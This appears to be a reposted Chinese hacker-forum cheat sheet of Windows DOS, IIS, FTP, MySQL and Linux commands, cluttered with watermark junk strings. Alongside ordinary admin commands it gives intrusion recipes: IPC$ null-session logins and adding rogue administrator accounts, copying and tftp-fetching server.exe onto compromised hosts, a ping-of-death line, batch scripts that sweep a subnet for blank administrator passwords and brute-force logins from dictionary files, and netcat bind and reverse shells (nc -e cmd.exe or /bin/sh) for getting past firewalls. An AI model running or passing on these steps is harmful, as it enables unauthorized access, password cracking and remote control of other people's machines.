神马文学网DOS命令大全 IIS命令大全 SQL命令大全
来源：百度文库 编辑：神马文学网 时间：2024/04/29 16:41:37
出处：http://space.hackbase.com/html/26/5570526-12920.html
基本上收入了各个网站dos命令了★黑基空间★[I2TXQL!Tk
基本上可以作为电子书使用，希望对各位有用★黑基空间★Z!O8j4k|NNr
net use \\ip\ipc$ " " /user:" " 建立IPC空链接 ★黑基空间★;{+X`3y]0w8JA;X
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接 ★黑基空间★;`bZ3d^5]
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H: ★黑基空间★L*ma dKk-H[2J
net use h: \\ip\c$ 登陆后映射对方C：到本地为H:
+G8G _ A _#w-X0net use \\ip\ipc$ /del 删除IPC链接
C3Q'g T[1]w4Q0net use h: /del 删除映射对方到本地的为H:的映射
Jyacw%iB0net user 用户名 密码 /add 建立用户
9].\&C*fx}/n
Nt0net user guest /active:yes 激活guest用户 ★黑基空间★6\I Q)w)Q
net user 查看有哪些用户
[1]K,` of[ L.Dng0net user 帐户名 查看帐户的属性
-sla$Zpq&?;p^0net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意：administrator后加s用复数 ★黑基空间★g9fs"hG
O-v@
net start 查看开启了哪些服务 ★黑基空间★%N4T3VJ6Eo/z
net start 服务名 开启服务；(如:net start telnet， net start schedule) ★黑基空间★ZFgsDs
net stop 服务名 停止某服务
in-t F(`t!T0net time \\目标ip 查看对方时间
(pv.S!}
|8F0net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 ★黑基空间★%T?qlxx
net view 查看本地局域网内开启了哪些共享
[l w5ERaQ!]0net view \\ip 查看对方局域网内开启了哪些共享 ★黑基空间★`4f kt9X+yo f8gIs
net config 显示系统网络设置 ★黑基空间★A[1]s2LrKM
net logoff 断开连接的共享
/r!^,F\ F!_ i8^0net pause 服务名 暂停某服务
Tv\%n5L0net send ip "文本信息" 向对方发信息
~ p
N7g,DJ8x&r S @0net ver 局域网内正在使用的网络连接类型和信息 ★黑基空间★,O9s)dc$R
net share 查看本地开启的共享 ★黑基空间★a*y}6q H*c u%U z
net share ipc$ 开启ipc$共享
`o&R[1]yA:sH"ftl ?F F0net share ipc$ /del 删除ipc$共享 ★黑基空间★,Np'\-O*f
net share c$ /del 删除C：共享 ★黑基空间★ qV;XuRM.z9m:df
net user guest 12345 用guest用户登陆后用将密码改为12345 ★黑基空间★ L7C*~r#nGf+M8_Z
net password 密码 更改系统登陆密码
5BKaT1g"yZ&}0netstat -a 查看开启了哪些端口,常用netstat -an
H P5I.Hh'K0netstat -n 查看端口的网络连接情况，常用netstat -an ★黑基空间★{ x"t f,S
s-e
netstat -v 查看正在进行的工作
b)}[+|
L1hf`v0netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况） ★黑基空间★f)G@:M8R;]5_
netstat -s 查看正在使用的所有协议使用情况 ★黑基空间★.jh)O2s5fx(\
nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写
dJ;y[
W?W [[1]W0tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。
])g8I?o#[x0ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。
+Kai7k:[&zkaA0ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) ★黑基空间★J.`K3n!Iy,sz6{'G
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息
\]V"`7jWA0tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)
"v"P$ms+j&H'SK.jH0kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) ★黑基空间★ L8[6x3X0[
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件★黑基空间★r_m6NU-g.B4oS
★黑基空间★6L5{;TI#LP
f%`1}?b
del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同） ★黑基空间★)V YZ a c^Z2[;ZG
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 ★黑基空间★ b!qyOVh
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"> "和"> >" 是重定向命令 ★黑基空间★r u J} Y1A[1]F"A
at id号 开启已注册的某个计划任务 ★黑基空间★ A S k:v:rd
x ^W
at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止 ★黑基空间★ xZ/A O$Q X6lTbC
at id号 /delete 停止某个已注册的计划任务 ★黑基空间★"d\t1wkp`
at 查看所有的计划任务
c.j-D*V}&O0at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 ★黑基空间★p `S ]0T"q9I)H
finger username @host 查看最近有哪些用户登陆
,tNL?T"y*a;O0telnet ip 端口 远和登陆服务器,默认端口为23
\K$Z+eL~4Q:{0open ip 连接到IP（属telnet登陆后的命令） ★黑基空间★C6FBE0r H
telnet 在本机上直接键入telnet 将进入本机的telnet ★黑基空间★N8mp/Z7Y|a8_J
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件
N6]RM$t0copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下 ★黑基空间★0z$m+v9T?\^/t nd8ZP+r
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件
;u'J8??Z
K~/n$J0copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C：
tQ)E$UnN'C0xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件 ★黑基空间★ U@7t[1]Z~?K3C_
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后，将“IP”的server.exe下载到目标主机c:\server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送 ★黑基空间★"a:QVz"aw+L$kx'i
tftp -i 对方IP put c:\server.exe 登陆后，上传本地c:\server.exe至主机 ★黑基空间★wt.i} W~-\
ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时) ★黑基空间★[1]X]1EC+ac|
route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface
6P }nv#o2f-s4?0arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 ★黑基空间★(` TfwgZ&\H
start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令 ★黑基空间★&]@,Z){
d
mem 查看cpu使用情况
1kD7M;["M0attrib 文件名(目录名) 查看某文件（目录）的属性
\] s{7c*Q|Q0attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性 ★黑基空间★#Nb \#v Q1qR}'N
dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间
XJ)TVW3T.wh0date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间 ★黑基空间★f IR^&j7|s
set 指定环境变量名称=要指派给变量的字符 设置环境变量 ★黑基空间★+`)LD"W:[(tAI
set 显示当前所有的环境变量
nG2G'rt)Gt/g%w0set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 ★黑基空间★(b l u3Y A5b$~
pause 暂停批处理程序，并显示出：请按任意键继续....
K^6mTz"s0if 在批处理程序中执行条件处理（更多说明见if命令及变量） ★黑基空间★n.}*S8\kX)C/Ua!v:[
goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签） ★黑基空间★*r5o-`XY
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?）
C!Q&lGX'{+S0for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量） ★黑基空间★-X#~wEk r sl
echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置
J;Pa0U6|F
l$oR v0echo 信息 在屏幕上显示出信息 ★黑基空间★7~].adKO3N
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中 ★黑基空间★p4fG&~T+C;K@
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
[1]\_ND&P$j,U3o0find 文件名 查找某文件
Woe2E}
m0title 标题名字 更改CMD窗口标题名字 ★黑基空间★pg ~7b!\+KT
color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
+C
T/?Et v8O"A0prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ )
P{,^b%L}$z0
.?5Z K(e~0
aW`s+@4f:F z0ver 在DOS窗口下显示版本信息 ★黑基空间★ {WOW1}?U @
winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）
0j:rM2d?c^.N {0format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS
A8f,j)wg/U.q@0md 目录名 创建目录 ★黑基空间★ |1v w/gD B
replace 源文件 要替换文件的目录 替换文件 ★黑基空间★$Ut^sZ
O~
ren 原文件名 新文件名 重命名文件名
+Y,]Gn7a%S&u3o"A0tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称
5D(H g&ck0type 文件名 显示文本文件的内容
Yi1|S`Rl;L0more 文件名 逐屏显示输出文件 ★黑基空间★-PG^RY U2i[[k
doskey 要锁定的命令＝字符★黑基空间★8r{+d6b$|3sk3L
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir= ★黑基空间★:x rvs\
taskmgr 调出任务管理器
tC,] G2p'r0chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误 ★黑基空间★qS0o-ua;i
tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口
-tG)q6o3dc%R0exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe
*di$|Zkwx0path 路径\可执行文件的文件名 为可执行文件设置一个路径。
9c*E0rz P0cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /? ★黑基空间★:J
K)M/c6` iiB+_kz.N
regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示；
N D:BgUWL6f8O-O0regedit /e 注册表文件名 导出注册表 ★黑基空间★'X;l]7G"?y+T
cacls 文件名 参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。 ★黑基空间★(N:~-S;YGC!y
cacls 文件名 查看文件的访问用户权限列表
Q3}4XpccN0REM 文本内容 在批处理文件中添加注解 ★黑基空间★t0``2@:^([4f @
netsh 查看或更改本地网络配置情况★黑基空间★([;hKK pfu\O:I|
★黑基空间★6y-o.Bd.H6I
★黑基空间★'E{&|3W FUg
IIS服务命令：
(j
H;oN W0iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现）
9A.T4`D%s W0iisreset /start或stop 启动（停止）所有Internet服务
JnzYn3y0iisreset /restart 停止然后重新启动所有Internet服务 ★黑基空间★Dr5\&s/T
iisreset /status 显示所有Internet服务状态 ★黑基空间★Aj4P;si:n
iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动 ★黑基空间★n Eh YrL
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机
i[1]N%\:\? A0iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务
w"B#A/I2UM0iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。 ★黑基空间★b2Ygj iM [ as t
FTP 命令： (后面有详细说明内容) ★黑基空间★ J,BrU ]*D'^
ftp的命令行格式为:★黑基空间★(d?\)m}]8\[1]D*t[1]V
ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。★黑基空间★5U2N-q&Y(L NIE
－d 使用调试方式。
"\&`6@;I ^S]0－n 限制ftp的自动登录,即不使用.netrc文件。★黑基空间★sfo$t M
－g 取消全局文件名。
:YN$J$c%Oh0help [命令] 或 ？[命令] 查看命令说明
0zQ'b[1]B `nRs0bye 或 quit 终止主机FTP进程,并退出FTP管理方式. ★黑基空间★J3c.L'q$~)x"D!tVX
pwd 列出当前远端主机目录
A%V!k-EB@;ov0put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 ★黑基空间★X9]
s7q1_%I1Te
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
&P%qh0K@aE?M0mget [remote-files] 从远端主机接收一批文件至本地主机
j4Y)tq.c*y`0mput local-files 将本地主机中一批文件传送至远端主机 ★黑基空间★_[1]i ` [ LE
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
7D1|6q|a!BQ eX0ascii 设定以ASCII方式传送文件(缺省值)
^ r1U I}P@0bin 或 image 设定以二进制方式传送文件 ★黑基空间★K(i!Sj'^d
bell 每完成一次文件传送,报警提示
S J&K y:t:@+TZ%Z9F0cdup 返回上一级目录
$V$C&T;c$e9r(swd7bM0close 中断与远程服务器的ftp会话(与open对应)
}
z w:Go `?W0open host[port] 建立指定ftp服务器连接,可指定连接端口
k!]KY W0delete 删除远端主机中的文件
q [6V3K5wE7LE0mdelete [remote-files] 删除一批文件
*q:R`L&[H0t0mkdir directory-name 在远端主机中建立目录 ★黑基空间★4WV{{d
rename [from] [to] 改变远端主机中的文件名
4{y*yBR |9XR6{0rmdir directory-name 删除远端主机中的目录
'`1C"KBo Q;KT0status 显示当前FTP的状态 ★黑基空间★[3kU:j/X
system 显示远端主机系统类型 ★黑基空间★ Y;n#f%U i y1cYot
user user-name [password] [account] 重新以别的用户名登录远端主机
P&ZV#I.Va]0open host [port] 重新建立一个新的连接 ★黑基空间★5k7l9J(@%`,}&~.{G;u
prompt 交互提示模式
o*d$i)_J8o2YD)^0macdef 定义宏命令 ★黑基空间★1Na3Y5}k#]"e#C6m$Rxm
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
-rt$`&Lta Ih0chmod 改变远端主机的文件权限
{_%lBNm0case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 ★黑基空间★7k Wq4c!| m?d%em*`
cd remote－dir 进入远程主机目录 ★黑基空间★'S?~8Y*C ziv}
cdup 进入远程主机目录的父目录 ★黑基空间★Q;f _k&X"J1?
! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip
S-dj*o B nR-u N$W0
m GlwL9U0★黑基空间★!P
} g Ra.D
MYSQL 命令：
*u%w|[1]Pu I~~ZgcN0mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。★黑基空间★*F?_~/m$r
（例：mysql -h110.110.110.110 -Uroot -P123456
x^S p'Y*f0注:u与root可以不用加空格，其它也一样）
Q H}X p?7s0exit 退出MYSQL ★黑基空间★+`:i"T*|8t%[ y
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
wCfh"]] H0grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符）
*a_&o[1]k+B[1]R3y(Y0show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。 ★黑基空间★Ez%t I,{#Xr
[ bB
use mysql；
s _7~D&}8m i PP0show tables; 显示库中的数据表 ★黑基空间★!l9k&[@*K'T9J:?
e
describe 表名; 显示数据表的结构
)p@/bz;W0create database 库名; 建库 ★黑基空间★bF
Qv7R#X ]?N[1]t
use 库名；★黑基空间★"K"c E$I.fd
create table 表名 (字段设定列表)； 建表 ★黑基空间★ c9Q8M\)GK/B*N1c
drop database 库名; ★黑基空间★.j#x/m i;GJ4L2h
drop table 表名； 删库和删表
z j~/m$I
r0delete from 表名; 将表中记录清空
z,I#~.C0r-~;v{0select * from 表名; 显示表中的记录
5tdY?W}^4m0mysqldump --opt school>school.bbb 备份数据库：（命令在DOS的\\mysql\\bin目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。 ★黑基空间★1bt%s(}@n!^s2KU
win2003系统下新增命令（实用部份）：
![qicO(O.L0shutdown /参数 关闭或重启本地或远程主机。
N,gP ~Ix DS0参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。★黑基空间★-hO~%~X r
例：shutdown /r /t 0 立即重启本地主机（无延时） ★黑基空间★ S[1]i!l/}}MG
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。★黑基空间★7c FD}N[1]b W0]/G
参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。 ★黑基空间★3XJ |f[1]dHOp2GLP
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。★黑基空间★$k r?ts+xohBx G
参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。
!k P3E!Y x fq5J:x?l0
&l)aQ
M Iv0★黑基空间★$W
Y-W0{N(y:a
★黑基空间★ \[1]S9O2v6i4I1]
Linux系统下基本命令： 要区分大小写
UG5V$oSN?K0no#hz-P_l0uname 显示版本信息（同win2K的 ver） ★黑基空间★,T"`&V9\BTlPlzF
dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir） ★黑基空间★0D0i-EZ?A i'~8GoZw
pwd 查询当前所在的目录位置 ★黑基空间★5@K K7JK4s
cd cd ..回到上一层目录，注意cd 与..之间有空格。cd /返回到根目录。 ★黑基空间★.K E.O6U8t)j N9D AK
cat 文件名 查看文件内容
8ffZ:rx"Yoz?W+b0cat >abc.txt 往abc.txt文件中写上内容。 ★黑基空间★5N,Fihp^ }'C
more 文件名 以一页一页的方式显示一个文本文件。 ★黑基空间★.u9M0gOg;E9whTE
cp 复制文件
#ga5i!aD l0mv 移动文件 ★黑基空间★f V"p+@ m[,oD:r ]
rm 文件名 删除文件，rm -a 目录名删除目录及子目录
1A?qi/H0O0mkdir 目录名 建立目录 ★黑基空间★X|1Ak q L
rmdir 删除子目录，目录内没有文档。
+bm
~Q&qAJ u0chmod 设定档案或目录的存取权限
"Q3R` ~~ j2d0grep 在档案中查找字符串 ★黑基空间★0I p*?!lYqn![
diff 档案文件比较
w
T p U
G[4zdJ0find 档案搜寻
lX/K"h7j+oG0date 现在的日期、时间
A] J[T1R4|[1]S7x0who 查询目前和你使用同一台机器的人以及Login时间地点
-zcS6^|&r y0w 查询目前上机者的详细资料
6KGeZs(j5V I IH/BE0whoami 查看自己的帐号名称 ★黑基空间★9I6Y-{L{T-oN
groups 查看某人的Group ★黑基空间★ E0^&VQ#L!]9E
passwd 更改密码 ★黑基空间★7[v^ p[1]k F rK2R+c4D5h
history 查看自己下过的命令 ★黑基空间★5A+Zsb[`7A pD3A[1]_
ps 显示进程状态 ★黑基空间★6q0l,X*|Ho6\&YYJ]
kill 停止某进程 ★黑基空间★*uU7V?E ` x}*V7oE
gcc 黑客通常用它来编译C语言写的文件
?!['vGw&r0su 权限转换为指定使用者
"~C2xde6FT0telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。 ★黑基空间★x7[7\ [^
ftp ftp连接上某服务器（同win2K）
1l:T4Ak8H t y_0★黑基空间★i/A
ug3O:J|}7i[9V
)WaWj?U0附：批处理命令与变量
$kg_7m F[1]z[1]X+A(z+bW0★黑基空间★:|H)O'o/z+L(`(VE
1：for命令及变量 基本格式：
$k{Q HwSb7}0FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。★黑基空间★[q?l1d
批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—%9指输入的第2-9个值；例：net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3
[-ai?a1Ao0
.W X
s3TQBe n7b0(set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；“(1 -1 254)”说明：即从254到1 }★黑基空间★U8g(j,} q PZ
★黑基空间★aY:D&[[1]M-j
command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：& 来隔开★黑基空间★5m_3w u~
e
command_parameters：为特定命令指定参数或命令行开关
pk2C6H7b0
t)ws3G:z0IN (set)：指在(set)中取值；DO command ：指执行command★黑基空间★.h"{:VG Z!b r
E3Z}
★黑基空间★&e1v/o)tv-bI
参数：/L 指用增量形式{ (set)为增量形式时 }；/F 指从文件中不断取值，直到取完为止{ (set)为文件时，如(d:\pass.txt)时 }。 ★黑基空间★8DY3Zgf \8L3Kn
用法举例：
cL9X;G9jI${?@-x+E4T0@echo off
Wf"v\?lI0echo 用法格式：test.bat *.*.* > test.txt ★黑基空间★R;wS ]^$P-l
l0]\&X-N4vP)| {0for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
3gwO.]y0存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。★黑基空间★ T,Z?~1hu!?b_8N,DI
★黑基空间★s ` d(OZSQ6r+S l c
/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；& 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。
m/Z[1]i1H[1]R X!X.tZO0@echo off
PI M]5v@~;{0echo 用法格式：ok.bat ip ★黑基空间★;cM!d&r3ui
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
3K Ls iU;\.v*b6z L0存为：ok.exe 说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。
1[:v/B ZH#}!u*k8a0★黑基空间★ GTw)x e)n.Lh
★黑基空间★"O0r(A+n,@.X
2：if命令及变量 基本格式：
*[])K_}a/L0IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码，指定条件为“真”。
7g1qy)Tk-]_s0例：IF errorlevel 0 命令 指程序执行后返回的值为0时，就值行后面的命令；IF not errorlevel 1 命令指程序执行最后返回的值不等于1，就执行后面的命令。★黑基空间★
{(\xj7iE;wP
0 指发现并成功执行（真）；1 指没有发现、没执行（假）。 ★黑基空间★'u.lnm[1]m?kU3T&s
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配（即：字符串1 等于 字符串2），就执行后面的命令。★黑基空间★.u
AaA?/?J4u1x?U Z
例：“if "%2%"=="4" goto start”指：如果输入的第二个变量为4时，执行后面的命令（注意：调用变量时就%变量名%并加" "） ★黑基空间★#mR3H3IM9th!Jl D+U
IF [not] exist 文件名 命令语句 如果指定的文件名存在，就执行后面的命令。★黑基空间★ S5Z:~a`!I
例：“if not nc.exe goto end”指：如果没有发现nc.exe文件就跳到":end"标签处。 ★黑基空间★dMD;| Y"TRL#}E Fp
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上：else 命令语句后指：当前面的条件不成立时，就指行else后面的命令。注意：else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来，因为del命令要单独一行时才能执行，用上< >后就等于是单独一行了；例如：“if exist test.txt. else echo test.txt.missing ”，注意命令中的“.”
E w&t1G6W4@R*i0★黑基空间★,G*t.R/fU?}`z
Fh2U.Z$CE0系统外部命令(均需下载相关工具)：★黑基空间★#y?F1tv-] T
E4Y;Y-C
H?l@xE[1]B0?'tqF01瑞士军刀：nc.exe
Q K x;m%I+B0★黑基空间★;]|%u:S:Y&JF#w
参数说明： ★黑基空间★6R%hJ-Kq0Dq:T{
-h 查看帮助信息 ★黑基空间★-NC d0zW:s[
-d 后台模式 ★黑基空间★7I/||^1|_
-e prog程序重定向，一但连接就执行［危险］ ★黑基空间★9_#w$S"U.]0N`;e
-i secs延时的间隔
7\ HHGy!O L0-l 监听模式，用于入站连接 ★黑基空间★
k(? B,b5g!xh!l;vo
-L 监听模式，连接天闭后仍然继续监听，直到CTR+C ★黑基空间★1PI;c8@Mw&~ `&_
y)dA
-n IP地址，不能用域名 ★黑基空间★ uGO Gq[1]sR7p+l
-o film记录16进制的传输 ★黑基空间★A{yghH
-p[空格]端口 本地端口号
0~6{;g3K t ho4y#NU0-r 随机本地及远程端口 ★黑基空间★+d5\*E)]5LQ%bZ"x
-t 使用Telnet交互方式 ★黑基空间★)Fq:Q*d;lx+[
-u UDP模式 ★黑基空间★ Q$@*o/Rp
-v 详细输出，用-vv将更详细
v,S7w/k'o7c m1q0-w数字 timeout延时间隔
K"b{ Y^2s S0z0-z 将输入，输出关掉（用于扫锚时） ★黑基空间★ dcQ?? V1t?
基本用法：
/\!P4v9| |DI0nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
2B"vm[1]Z ]$^ iD1`!e0nc -l -p 80 开启本机的TCP 80端口并监听 ★黑基空间★N#S0~&a*h"TP
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
,_R?4P@b5r_/b0nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
l nO'A gU!J B5\0nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 ★黑基空间★}"O;y:y4RK
高级用法：
K.g0pP^*Ms0nc -L -p 80 作为蜜罐用1：开启并不停地监听80端口，直到CTR+C为止 ★黑基空间★7xO;K$hEZ
nc -L -p 80 > c:\log.txt 作为蜜罐用2：开启并不停地监听80端口，直到CTR+C,同时把结果输出到c:\log.txt
[#Nb0i$h_~8T9x `:z Z0nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中，亦可起到传送文件作用 ★黑基空间★*i ] Sj&p9g
type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
$`:U y]
O"v_|'m7j1b+p0本机上用：nc -l -p 本机端口 ★黑基空间★4kpf7H%Z*oa
在对方主机上用：nc -e cmd.exe 本机IP -p 本机端口 *win2K★黑基空间★ S\(qj!y5r]
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
5b } ac$^/hy#Q0本机上用：nc -d -l -p 本机端口 < 要传送的文件路径及名称
c5\H'~v!DdV0在对方主机上用：nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
/zr8~GgZ^or0备 注：
_D5NXv!f'nH0| 管道命令 ★黑基空间★;au$n8xT^(@%U6n;@7d
< 或 > 重定向命令。“<”，例如：tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
-RC1j-g[1]y?i$uV#x0＠ 表示执行＠后面的命令，但不会显示出来（后台执行）；例：＠dir c:\winnt >> d:\log.txt 意思是：后台执行dir，并把结果存在d:\log.txt中 ★黑基空间★3Q4_?\'S~N I
>与>>的区别 ">"指：覆盖；">>"指：保存到(添加到）。
